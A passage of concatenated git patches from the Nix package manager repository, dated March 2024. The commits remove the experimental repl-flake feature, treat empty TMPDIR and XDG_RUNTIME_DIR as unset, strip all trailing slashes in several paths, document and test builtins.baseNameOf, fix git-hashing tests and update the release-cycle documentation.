a/doc/manual/src/contributing/hacking.md +++ b/doc/manual/src/contributing/hacking.md @@ -261,7 +261,7 @@ To use the LSP with your editor, you first need to [set up `clangd`](https://cla make compile_commands.json ``` -Configure your editor to use the `clangd` from the shell, either by running it inside the development shell, or by using [nix-direnv](https://github.com/nix-community/nix-direnv) and [the appropriate editor plugin](https://github.com/direnv/direnv/wiki#editor-integration). +Configure your editor to use the `clangd` from the `.#native-clangStdenvPackages` shell. You can do that either by running it inside the development shell, or by using [nix-direnv](https://github.com/nix-community/nix-direnv) and [the appropriate editor plugin](https://github.com/direnv/direnv/wiki#editor-integration). > **Note** > From 717391731cfd85f2e9f5186ed69c2f832a7b86b9 Mon Sep 17 00:00:00 2001 From: detroyejr Date: Fri, 22 Mar 2024 19:30:03 -0400 Subject: [PATCH 0264/1251] flakes: remove experimental repl-flake --- src/libutil/experimental-features.cc | 10 ---------- src/libutil/experimental-features.hh | 1 - src/nix/repl.cc | 9 --------- 3 files changed, 20 deletions(-) diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 374e674af..4fc07afaf 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -203,16 +203,6 @@ constexpr std::array xpFeatureDetails )", .trackingUrl = "https://github.com/NixOS/nix/milestone/40", }, - { - .tag = Xp::ReplFlake, - .name = "repl-flake", - .description = R"( - *Enabled with [`flakes`](#xp-feature-flakes) since 2.19* - - Allow passing [installables](@docroot@/command-ref/new-cli/nix.md#installables) to `nix repl`, making its interface consistent with the other experimental commands. - )", - .trackingUrl = "https://github.com/NixOS/nix/milestone/32", - }, { .tag = Xp::AutoAllocateUids, .name = "auto-allocate-uids", diff --git a/src/libutil/experimental-features.hh b/src/libutil/experimental-features.hh index eae4fa9b8..47c21280f 100644 --- a/src/libutil/experimental-features.hh +++ b/src/libutil/experimental-features.hh @@ -26,7 +26,6 @@ enum struct ExperimentalFeature RecursiveNix, NoUrlLiterals, FetchClosure, - ReplFlake, AutoAllocateUids, Cgroups, DaemonTrustOverride, diff --git a/src/nix/repl.cc b/src/nix/repl.cc index 63fe3044b..8bbfe0f07 100644 --- a/src/nix/repl.cc +++ b/src/nix/repl.cc @@ -47,15 +47,6 @@ struct CmdRepl : RawInstallablesCommand void applyDefaultInstallables(std::vector & rawInstallables) override { - if (!experimentalFeatureSettings.isEnabled(Xp::Flakes) && !(file) && rawInstallables.size() >= 1) { - warn("future versions of Nix will require using `--file` to load a file"); - if (rawInstallables.size() > 1) - warn("more than one input file is not currently supported"); - auto filePath = rawInstallables[0].data(); - file = std::optional(filePath); - rawInstallables.front() = rawInstallables.back(); - rawInstallables.pop_back(); - } if (rawInstallables.empty() && (file.has_value() || expr.has_value())) { rawInstallables.push_back("."); } From c625b4535724ebefc2bef11beb4bec212587fdb5 Mon Sep 17 00:00:00 2001 From: detroyejr Date: Fri, 22 Mar 2024 21:39:48 -0400 Subject: [PATCH 0265/1251] flakes: add remove-repl-flake.md note --- doc/manual/rl-next/remove-repl-flake.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 doc/manual/rl-next/remove-repl-flake.md diff --git a/doc/manual/rl-next/remove-repl-flake.md b/doc/manual/rl-next/remove-repl-flake.md new file mode 100644 index 000000000..16a899c3c --- /dev/null +++ b/doc/manual/rl-next/remove-repl-flake.md @@ -0,0 +1,12 @@ +--- +synopsis: Remove experimental repl-flake +significant: significant +issues: 10103 +prs: 10299 +--- + +This PR removes the repl-flake feature that was adopted to provide a migration path when changing the behavior of `nix repl`. Moving forward this command will behave more like the rest of the modern cli. + +- Removes any repl-flake references. +- Removes the parts of `applyDefaultInstallables` that are no longer needed in repl.cc. +- Fix/Add any tests. From b11dd58fe4bd75b25a0f458888dd0ceb8d7d62e1 Mon Sep 17 00:00:00 2001 From: detroyejr Date: Fri, 22 Mar 2024 21:56:19 -0400 Subject: [PATCH 0266/1251] flakes: test to ensure we get an error if --file isn't used --- tests/functional/repl.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index 4938c2267..f11fa7140 100644 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -47,6 +47,9 @@ testRepl () { | grep "attribute 'currentSystem' missing" nix repl "${nixArgs[@]}" 2>&1 <<< "builtins.currentSystem" \ | grep "$(nix-instantiate --eval -E 'builtins.currentSystem')" + + expectStderr 1 nix repl ${testDir}/simple.nix \ + | grepQuiet -s "error: path '$testDir/simple.nix' is not a flake" } # Simple test, try building a drv From 50885b81c929779bffe5fea4199688d21e9f707b Mon Sep 17 00:00:00 2001 From: detroyejr Date: Sat, 23 Mar 2024 06:31:49 -0400 Subject: [PATCH 0267/1251] fix: correct remove-repl-flake.md --- doc/manual/rl-next/remove-repl-flake.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/rl-next/remove-repl-flake.md b/doc/manual/rl-next/remove-repl-flake.md index 16a899c3c..a4ddeaf59 100644 --- a/doc/manual/rl-next/remove-repl-flake.md +++ b/doc/manual/rl-next/remove-repl-flake.md @@ -1,6 +1,6 @@ --- synopsis: Remove experimental repl-flake -significant: significant +significance: significant issues: 10103 prs: 10299 --- From c3fb2aa1f9d1fa756dac38d3588c836c5a5395dc Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 22 Mar 2024 22:41:50 +0100 Subject: [PATCH 0268/1251] fix: Treat empty TMPDIR as unset Fixes an instance of nix: src/libutil/util.cc:139: nix::Path nix::canonPath(PathView, bool): Assertion `path != ""' failed. ... which I've been getting in one of my shells for some reason. I have yet to find out why TMPDIR was empty, but it's no reason for Nix to break. --- src/libstore/globals.cc | 2 +- src/libutil/file-system.cc | 8 ++++++-- src/libutil/file-system.hh | 4 ++++ src/nix-build/nix-build.cc | 2 +- 4 files changed, 12 insertions(+), 4 deletions(-) diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index d22ae4ca0..fa0938d7b 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -415,7 +415,7 @@ void initLibStore() { sshd). This breaks build users because they don't have access to the TMPDIR, in particular in ‘nix-store --serve’. */ #if __APPLE__ - if (hasPrefix(getEnv("TMPDIR").value_or("/tmp"), "/var/folders/")) + if (hasPrefix(defaultTempDir(), "/var/folders/")) unsetenv("TMPDIR"); #endif diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 9dd6a5133..9f81ee452 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -494,10 +494,14 @@ void AutoDelete::reset(const Path & p, bool recursive) { ////////////////////////////////////////////////////////////////////// +std::string defaultTempDir() { + return getEnvNonEmpty("TMPDIR").value_or("/tmp"); +} + static Path tempName(Path tmpRoot, const Path & prefix, bool includePid, std::atomic & counter) { - tmpRoot = canonPath(tmpRoot.empty() ? getEnv("TMPDIR").value_or("/tmp") : tmpRoot, true); + tmpRoot = canonPath(tmpRoot.empty() ? defaultTempDir() : tmpRoot, true); if (includePid) return fmt("%1%/%2%-%3%-%4%", tmpRoot, prefix, getpid(), counter++); else @@ -537,7 +541,7 @@ Path createTempDir(const Path & tmpRoot, const Path & prefix, std::pair createTempFile(const Path & prefix) { - Path tmpl(getEnv("TMPDIR").value_or("/tmp") + "/" + prefix + ".XXXXXX"); + Path tmpl(defaultTempDir() + "/" + prefix + ".XXXXXX"); // Strictly speaking, this is UB, but who cares... // FIXME: use O_TMPFILE. AutoCloseFD fd(mkstemp((char *) tmpl.c_str())); diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 963265e34..9d565c881 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -234,6 +234,10 @@ Path createTempDir(const Path & tmpRoot = "", const Path & prefix = "nix", */ std::pair createTempFile(const Path & prefix = "nix"); +/** + * Return `TMPDIR`, or the default temporary directory if unset or empty. + */ +Path defaultTempDir(); /** * Used in various places. diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index a372e4b1c..418ee0ddd 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -476,7 +476,7 @@ static void main_nix_build(int argc, char * * argv) auto env = getEnv(); auto tmp = getEnv("TMPDIR"); - if (!tmp) tmp = getEnv("XDG_RUNTIME_DIR").value_or("/tmp"); + if (!tmp || tmp->empty()) tmp = getEnv("XDG_RUNTIME_DIR").value_or("/tmp"); if (pure) { decltype(env) newEnv; From b9e7f5aa2df3f0e223f5c44b8089cbf9b81be691 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 00:34:21 +0100 Subject: [PATCH 0269/1251] fix: Treat empty XDG_RUNTIME_DIR as unset See preceding commit. Not observed in the wild, but is sensible and consistent with TMPDIR behavior. --- src/nix-build/nix-build.cc | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 418ee0ddd..35eef5b83 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -475,8 +475,9 @@ static void main_nix_build(int argc, char * * argv) // Set the environment. auto env = getEnv(); - auto tmp = getEnv("TMPDIR"); - if (!tmp || tmp->empty()) tmp = getEnv("XDG_RUNTIME_DIR").value_or("/tmp"); + auto tmp = getEnvNonEmpty("TMPDIR"); + if (!tmp) + tmp = getEnvNonEmpty("XDG_RUNTIME_DIR").value_or("/tmp"); if (pure) { decltype(env) newEnv; From fd31945742710984de22805ee8d97fbd83c3f8eb Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 00:45:15 +0100 Subject: [PATCH 0270/1251] local-derivation-goal.cc: Reuse defaultTempDir() --- src/libstore/build/local-derivation-goal.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index a9b6a8dbf..f65afdf07 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2090,7 +2090,7 @@ void LocalDerivationGoal::runChild() /* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms to find temporary directories, so we want to open up a broader place for them to dump their files, if needed. */ - Path globalTmpDir = canonPath(getEnvNonEmpty("TMPDIR").value_or("/tmp"), true); + Path globalTmpDir = canonPath(defaultTempDir(), true); /* They don't like trailing slashes on subpath directives */ if (globalTmpDir.back() == '/') globalTmpDir.pop_back(); From dd26f413791b7885558afcc628623648b7fa6396 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 00:45:57 +0100 Subject: [PATCH 0271/1251] local-derivation-goal.cc: Remove *all* trailing slashes --- src/libstore/build/local-derivation-goal.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index f65afdf07..612434e4d 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2093,7 +2093,8 @@ void LocalDerivationGoal::runChild() Path globalTmpDir = canonPath(defaultTempDir(), true); /* They don't like trailing slashes on subpath directives */ - if (globalTmpDir.back() == '/') globalTmpDir.pop_back(); + while (!globalTmpDir.empty() && globalTmpDir.back() == '/') + globalTmpDir.pop_back(); if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") { builder = "/usr/bin/sandbox-exec"; From 850c9a6cafb74a82b8111dd6aeb4c0d434aba414 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 00:46:15 +0100 Subject: [PATCH 0272/1251] HttpBinaryCacheStore: Remove *all* trailing slashes --- src/libstore/http-binary-cache-store.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/http-binary-cache-store.cc b/src/libstore/http-binary-cache-store.cc index 85c5eed4c..5da87e935 100644 --- a/src/libstore/http-binary-cache-store.cc +++ b/src/libstore/http-binary-cache-store.cc @@ -49,7 +49,7 @@ public: , BinaryCacheStore(params) , cacheUri(scheme + "://" + _cacheUri) { - if (cacheUri.back() == '/') + while (!cacheUri.empty() && cacheUri.back() == '/') cacheUri.pop_back(); diskCache = getNarInfoDiskCache(); From 3b7f2bf99751bb51a9e9c4dab0fe2db1a6ff07ca Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 00:54:44 +0100 Subject: [PATCH 0273/1251] git/dumpTree: Assert name not empty before back() --- src/libutil/git.cc | 1 + 1 file changed, 1 insertion(+) diff --git a/src/libutil/git.cc b/src/libutil/git.cc index 0b6e35222..a60589baa 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -251,6 +251,7 @@ void dumpTree(const Tree & entries, Sink & sink, for (auto & [name, entry] : entries) { auto name2 = name; if (entry.mode == Mode::Directory) { + assert(!name2.empty()); assert(name2.back() == '/'); name2.pop_back(); } From 175afc71069cd821b58792a077d8cf4a7cebefe6 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 01:26:12 +0100 Subject: [PATCH 0274/1251] Test and document builtins.baseNameOf --- src/libexpr/primops.cc | 15 ++++++--- .../functional/lang/eval-okay-baseNameOf.exp | 1 + .../functional/lang/eval-okay-baseNameOf.nix | 32 +++++++++++++++++++ 3 files changed, 44 insertions(+), 4 deletions(-) create mode 100644 tests/functional/lang/eval-okay-baseNameOf.exp create mode 100644 tests/functional/lang/eval-okay-baseNameOf.nix diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index d0fcfd194..cdee1f361 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1580,11 +1580,18 @@ static void prim_baseNameOf(EvalState & state, const PosIdx pos, Value * * args, static RegisterPrimOp primop_baseNameOf({ .name = "baseNameOf", - .args = {"s"}, + .args = {"x"}, .doc = R"( - Return the *base name* of the string *s*, that is, everything - following the final slash in the string. This is similar to the GNU - `basename` command. + Return the *base name* of either a [path value](@docroot@/language/values.md#type-path) *x* or a string *x*, depending on which type is passed, and according to the following rules. + + For a path value, the *base name* is considered to be the part of the path after the last directory separator, including any file extensions. + This is the simple case, as path values don't have trailing slashes. + + When the argument is a string, a more involved logic applies. If the string ends with a `/`, only this one final slash is removed. + + After this, the *base name* is returned as previously described, assuming `/` as the directory separator. (Note that evaluation must be platform independent.) + + This is somewhat similar to the [GNU `basename`](https://www.gnu.org/software/coreutils/manual/html_node/basename-invocation.html) command, but GNU `basename` will strip any number of trailing slashes. )", .fun = prim_baseNameOf, }); diff --git a/tests/functional/lang/eval-okay-baseNameOf.exp b/tests/functional/lang/eval-okay-baseNameOf.exp new file mode 100644 index 000000000..52c33a57c --- /dev/null +++ b/tests/functional/lang/eval-okay-baseNameOf.exp @@ -0,0 +1 @@ +"ok" diff --git a/tests/functional/lang/eval-okay-baseNameOf.nix b/tests/functional/lang/eval-okay-baseNameOf.nix new file mode 100644 index 000000000..a7afdd896 --- /dev/null +++ b/tests/functional/lang/eval-okay-baseNameOf.nix @@ -0,0 +1,32 @@ +assert baseNameOf "" == ""; +assert baseNameOf "." == "."; +assert baseNameOf ".." == ".."; +assert baseNameOf "a" == "a"; +assert baseNameOf "a." == "a."; +assert baseNameOf "a.." == "a.."; +assert baseNameOf "a.b" == "a.b"; +assert baseNameOf "a.b." == "a.b."; +assert baseNameOf "a.b.." == "a.b.."; +assert baseNameOf "a/" == "a"; +assert baseNameOf "a/." == "."; +assert baseNameOf "a/.." == ".."; +assert baseNameOf "a/b" == "b"; +assert baseNameOf "a/b." == "b."; +assert baseNameOf "a/b.." == "b.."; +assert baseNameOf "a/b/c" == "c"; +assert baseNameOf "a/b/c." == "c."; +assert baseNameOf "a/b/c.." == "c.."; +assert baseNameOf "a/b/c/d" == "d"; +assert baseNameOf "a/b/c/d." == "d."; +assert baseNameOf "a\\b" == "a\\b"; +assert baseNameOf "C:a" == "C:a"; +assert baseNameOf "a//b" == "b"; + +# It's been like this for close to a decade. We ought to commit to it. +# https://github.com/NixOS/nix/pull/582#issuecomment-121014450 +assert baseNameOf "a//" == ""; + +assert baseNameOf ./foo == "foo"; +assert baseNameOf ./foo/bar == "bar"; + +"ok" From 754a15e2db12e39b383a69b1fab67651f7665bd7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 01:37:58 +0100 Subject: [PATCH 0275/1251] builtins.baseNameOf: Fork --- src/libexpr/primops.cc | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index cdee1f361..db4237130 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1568,12 +1568,32 @@ static RegisterPrimOp primop_pathExists({ .fun = prim_pathExists, }); +// Ideally, all trailing slashes should have been removed, but it's been like this for +// almost a decade as of writing. Changing it will affect reproducibility. +static std::string_view legacyBaseNameOf(std::string_view path) +{ + if (path.empty()) + return ""; + + auto last = path.size() - 1; + if (path[last] == '/' && last > 0) + last -= 1; + + auto pos = path.rfind('/', last); + if (pos == path.npos) + pos = 0; + else + pos += 1; + + return path.substr(pos, last - pos + 1); +} + /* Return the base name of the given string, i.e., everything following the last slash. */ static void prim_baseNameOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) { NixStringContext context; - v.mkString(baseNameOf(*state.coerceToString(pos, *args[0], context, + v.mkString(legacyBaseNameOf(*state.coerceToString(pos, *args[0], context, "while evaluating the first argument passed to builtins.baseNameOf", false, false)), context); } From 9884018dfae766a3b7fd3e9bc0302e75feccf52d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 01:38:22 +0100 Subject: [PATCH 0276/1251] baseNameOf(): Remove all trailing slashes --- src/libutil/file-system.cc | 2 +- tests/unit/libutil/tests.cc | 10 ++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 9dd6a5133..fc0f216ea 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -128,7 +128,7 @@ std::string_view baseNameOf(std::string_view path) return ""; auto last = path.size() - 1; - if (path[last] == '/' && last > 0) + while (last > 0 && path[last] == '/') last -= 1; auto pos = path.rfind('/', last); diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc index 4406fd184..d7e9edf0a 100644 --- a/tests/unit/libutil/tests.cc +++ b/tests/unit/libutil/tests.cc @@ -151,6 +151,16 @@ namespace nix { ASSERT_EQ(p1, "dir"); } + TEST(baseNameOf, trailingSlashes) { + auto p1 = baseNameOf("/dir//"); + ASSERT_EQ(p1, "dir"); + } + + TEST(baseNameOf, absoluteNothingSlashNothing) { + auto p1 = baseNameOf("//"); + ASSERT_EQ(p1, ""); + } + /* ---------------------------------------------------------------------------- * isInDir * --------------------------------------------------------------------------*/ From fbf493758c0134a9b4c73b7dd38fc4c1d480b76c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 02:08:28 +0100 Subject: [PATCH 0277/1251] doc/language: Link to nix.dev introduction Closes #10283 --- doc/manual/src/language/index.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/doc/manual/src/language/index.md b/doc/manual/src/language/index.md index 5388c6dc4..650412f1b 100644 --- a/doc/manual/src/language/index.md +++ b/doc/manual/src/language/index.md @@ -1,7 +1,13 @@ # Nix Language The Nix language is designed for conveniently creating and composing *derivations* – precise descriptions of how contents of existing files are used to derive new files. -It is: + +> **Tip** +> +> These pages are written as a reference. +> If you are learning Nix, nix.dev has a good [introduction to the Nix language](https://nix.dev/tutorials/nix-language). + +The language is: - *domain-specific* From 2a44b11f55939a97e3712a4525e60c4d4b12ea13 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 23 Mar 2024 22:01:30 -0400 Subject: [PATCH 0278/1251] Fix `git-hashing/simple.sh` I realized it was checking NAR hashes before of added objects, which makes little sense --- we don't really care about ancillary NAR hashes. Now, the bottom `nix store add` tests compare the CA field with a git hash to hashes calculated by Git. This matches top `nix hash path` ones in using git as a source of truth. --- tests/functional/git-hashing/simple.sh | 74 +++++++++++++++----------- 1 file changed, 42 insertions(+), 32 deletions(-) diff --git a/tests/functional/git-hashing/simple.sh b/tests/functional/git-hashing/simple.sh index 604e1a175..f43168eb2 100644 --- a/tests/functional/git-hashing/simple.sh +++ b/tests/functional/git-hashing/simple.sh @@ -6,8 +6,9 @@ git init "$repo" git -C "$repo" config user.email "you@example.com" git -C "$repo" config user.name "Your Name" +# Compare Nix's and git's implementation of git hashing try () { - hash=$(nix hash path --mode git --format base16 --algo sha1 $TEST_ROOT/hash-path) + local hash=$(nix hash path --mode git --format base16 --algo sha1 $TEST_ROOT/hash-path) [[ "$hash" == "$1" ]] git -C "$repo" rm -rf hash-path || true @@ -15,7 +16,7 @@ try () { git -C "$repo" add hash-path git -C "$repo" commit -m "x" git -C "$repo" status - hash2=$(git -C "$TEST_ROOT/scratch" rev-parse HEAD:hash-path) + local hash2=$(git -C "$TEST_ROOT/scratch" rev-parse HEAD:hash-path) [[ "$hash2" = "$1" ]] } @@ -32,36 +33,45 @@ echo "Run Hello World" > $TEST_ROOT/hash-path/executable chmod +x $TEST_ROOT/hash-path/executable try "e5c0a11a556801a5c9dcf330ca9d7e2c572697f4" -rm -rf $TEST_ROOT/dummy1 -echo Hello World! > $TEST_ROOT/dummy1 -path1=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy1) -hash1=$(nix-store -q --hash $path1) -test "$hash1" = "sha256:1brffhvj2c0z6x8qismd43m0iy8dsgfmy10bgg9w11szway2wp9v" +# Check Nix added object has matching git hash +try2 () { + local hashPath="$1" + local expected="$2" -rm -rf $TEST_ROOT/dummy2 -mkdir -p $TEST_ROOT/dummy2 -echo Hello World! > $TEST_ROOT/dummy2/hello -path2=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy2) -hash2=$(nix-store -q --hash $path2) -test "$hash2" = "sha256:1vhv7zxam7x277q0y0jcypm7hwhccbzss81vkdgf0ww5sm2am4y0" + local path=$(nix store add --mode git --hash-algo sha1 "$repo/$hashPath") -rm -rf $TEST_ROOT/dummy3 -mkdir -p $TEST_ROOT/dummy3 -mkdir -p $TEST_ROOT/dummy3/dir -touch $TEST_ROOT/dummy3/dir/file -echo Hello World! > $TEST_ROOT/dummy3/dir/file -touch $TEST_ROOT/dummy3/dir/executable -chmod +x $TEST_ROOT/dummy3/dir/executable -echo Run Hello World! > $TEST_ROOT/dummy3/dir/executable -path3=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy3) -hash3=$(nix-store -q --hash $path3) -test "$hash3" = "sha256:08y3nm3mvn9qvskqnf13lfgax5lh73krxz4fcjd5cp202ggpw9nv" + git -C "$repo" add "$hashPath" + git -C "$repo" commit -m "x" + git -C "$repo" status + local hashFromGit=$(git -C "$repo" rev-parse "HEAD:$hashPath") + [[ "$hashFromGit" == "$2" ]] -rm -rf $TEST_ROOT/dummy3 -mkdir -p $TEST_ROOT/dummy3 -mkdir -p $TEST_ROOT/dummy3/dir -touch $TEST_ROOT/dummy3/dir/file -ln -s './hello/world.txt' $TEST_ROOT/dummy3/dir/symlink -path3=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy3) -hash3=$(nix-store -q --hash $path3) -test "$hash3" = "sha256:1dwazas8irzpar89s8k2bnp72imfw7kgg4aflhhsfnicg8h428f3" + local caFromNix=$(nix path-info --json "$path" | jq -r ".[] | .ca") + [[ "fixed:git:sha1:$(nix hash convert --to nix32 "sha1:$hashFromGit")" = "$caFromNix" ]] +} + +rm -rf "$repo/dummy1" +echo Hello World! > "$repo/dummy1" +try2 dummy1 "980a0d5f19a64b4b30a87d4206aade58726b60e3" + +rm -rf "$repo/dummy2" +mkdir -p "$repo/dummy2" +echo Hello World! > "$repo/dummy2/hello" +try2 dummy2 "8b8e43b937854f4083ea56777821abda2799e850" + +rm -rf "$repo/dummy3" +mkdir -p "$repo/dummy3" +mkdir -p "$repo/dummy3/dir" +touch "$repo/dummy3/dir/file" +echo Hello World! > "$repo/dummy3/dir/file" +touch "$repo/dummy3/dir/executable" +chmod +x "$repo/dummy3/dir/executable" +echo Run Hello World! > "$repo/dummy3/dir/executable" +try2 dummy3 "f227adfaf60d2778aabbf93df6dd061272d2dc85" + +rm -rf "$repo/dummy4" +mkdir -p "$repo/dummy4" +mkdir -p "$repo/dummy4/dir" +touch "$repo/dummy4/dir/file" +ln -s './hello/world.txt' "$repo/dummy4/dir/symlink" +try2 dummy4 "06f3e789820fc488d602358f03e3a1cbf993bf33" From 53c15336b06dcf26689c35fb3166ca6a4846b967 Mon Sep 17 00:00:00 2001 From: Tharun T Date: Mon, 25 Mar 2024 07:43:31 +0530 Subject: [PATCH 0279/1251] derivation output selection test --- tests/functional/flakes/flakes.sh | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index 427290883..f6931a578 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -285,6 +285,35 @@ git -C "$flake3Dir" add flake.lock git -C "$flake3Dir" commit -m 'Add lockfile' +# Test accessing output in installables with `.` (foobarbaz.) +cat > "$flake3Dir/flake.nix" < \$foo/file + echo "out" > \$out/file + ''; + outputSpecified = true; + }; + }; +} +EOF + +cp ../config.nix "$flake3Dir" +git -C "$flake3Dir" add flake.nix config.nix +git -C "$flake3Dir" commit -m 'multi outputs flake' + +nix build "$flake3Dir#hello.foo" --json --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*hello.drv")) and + (.outputs | keys == ["foo"])) +' + # Test whether registry caching works. nix registry list --flake-registry "file://$registry" | grepQuiet flake3 mv "$registry" "$registry.tmp" From f78161bb8e87a79e0cdeff0c55266b58e45071d3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Mon, 25 Mar 2024 10:47:19 +0100 Subject: [PATCH 0280/1251] Adress feedback from the PR Trim down the proposal quite a bit, making it much closer to the previous text, just more explicit about what we support. --- doc/manual/src/release-notes/index.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/doc/manual/src/release-notes/index.md b/doc/manual/src/release-notes/index.md index 150253baa..331ddf685 100644 --- a/doc/manual/src/release-notes/index.md +++ b/doc/manual/src/release-notes/index.md @@ -2,14 +2,15 @@ The Nix release cycle is calendar-based as follows: -- A new minor version (`XX.YY+1.0`) is published every month and supported for two months; -- A new major version (`XX+1.1.0`) is published twice a year, in April and October, and supported for eight months. +Nix has a release cycle of roughly 6 weeks. +Notable changes and additions are announced in the release notes for each version. -The rationale behind that cycle is that -- Minor versions stay close to master and bring early access to new features for the user who need them; -- Major versions are aligned with the NixOS releases (released one month before NixOS and supported for as long at it). +The supported Nix versions are: +- The latest release +- The version used in the stable NixOS release, which is announced in the [NixOS release notes](https://nixos.org/manual/nixos/stable/release-notes.html#ch-release-notes). Bugfixes and security issues are backported to every supported version. Patch releases are published as needed. Notable changes and additions are announced in the release notes for each version. + From 45001c332d99a1decacfc128fc7f0578c95f3ecc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Mon, 25 Mar 2024 10:48:22 +0100 Subject: [PATCH 0281/1251] Remove accidental duplicate --- doc/manual/src/release-notes/index.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/doc/manual/src/release-notes/index.md b/doc/manual/src/release-notes/index.md index 331ddf685..d4e6292a6 100644 --- a/doc/manual/src/release-notes/index.md +++ b/doc/manual/src/release-notes/index.md @@ -11,6 +11,3 @@ The supported Nix versions are: Bugfixes and security issues are backported to every supported version. Patch releases are published as needed. - -Notable changes and additions are announced in the release notes for each version. - From bead1a1cde7bba6442266a39fc61d7fab5de68ae Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 25 Mar 2024 11:26:13 -0400 Subject: [PATCH 0282/1251] Add @Ericson2314 as libstore codeowner --- .github/CODEOWNERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 526fecabf..59db217d9 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -14,4 +14,4 @@ src/libexpr/primops.cc @roberth # Libstore layer -/src/libstore @thufschmitt +/src/libstore @thufschmitt @ericson2314 From 8c0590fa32395e8f66bad11049fb40458d94424b Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 25 Mar 2024 18:20:18 +0100 Subject: [PATCH 0283/1251] Never update values after setting the type Thunks are now overwritten by a helper function `Value::finishValue(newType, payload)` (where `payload` is the original anonymous union inside `Value`). This helps to ensure we never update a value elsewhere, since that would be incompatible with parallel evaluation (i.e. after a value has transitioned from being a thunk to being a non-thunk, it should be immutable). There were two places where this happened: `Value::mkString()` and `ExprAttrs::eval()`. This PR also adds a bunch of accessor functions for value contents, like `Value::integer()` to access the integer field in the union. --- src/libcmd/installable-flake.cc | 2 +- src/libcmd/installables.cc | 4 +- src/libcmd/repl.cc | 10 +- src/libexpr/attr-path.cc | 6 +- src/libexpr/attr-set.cc | 17 -- src/libexpr/attr-set.hh | 34 ++- src/libexpr/eval-cache.cc | 14 +- src/libexpr/eval-inline.hh | 6 +- src/libexpr/eval.cc | 303 ++++++++++---------- src/libexpr/eval.hh | 5 +- src/libexpr/flake/flake.cc | 34 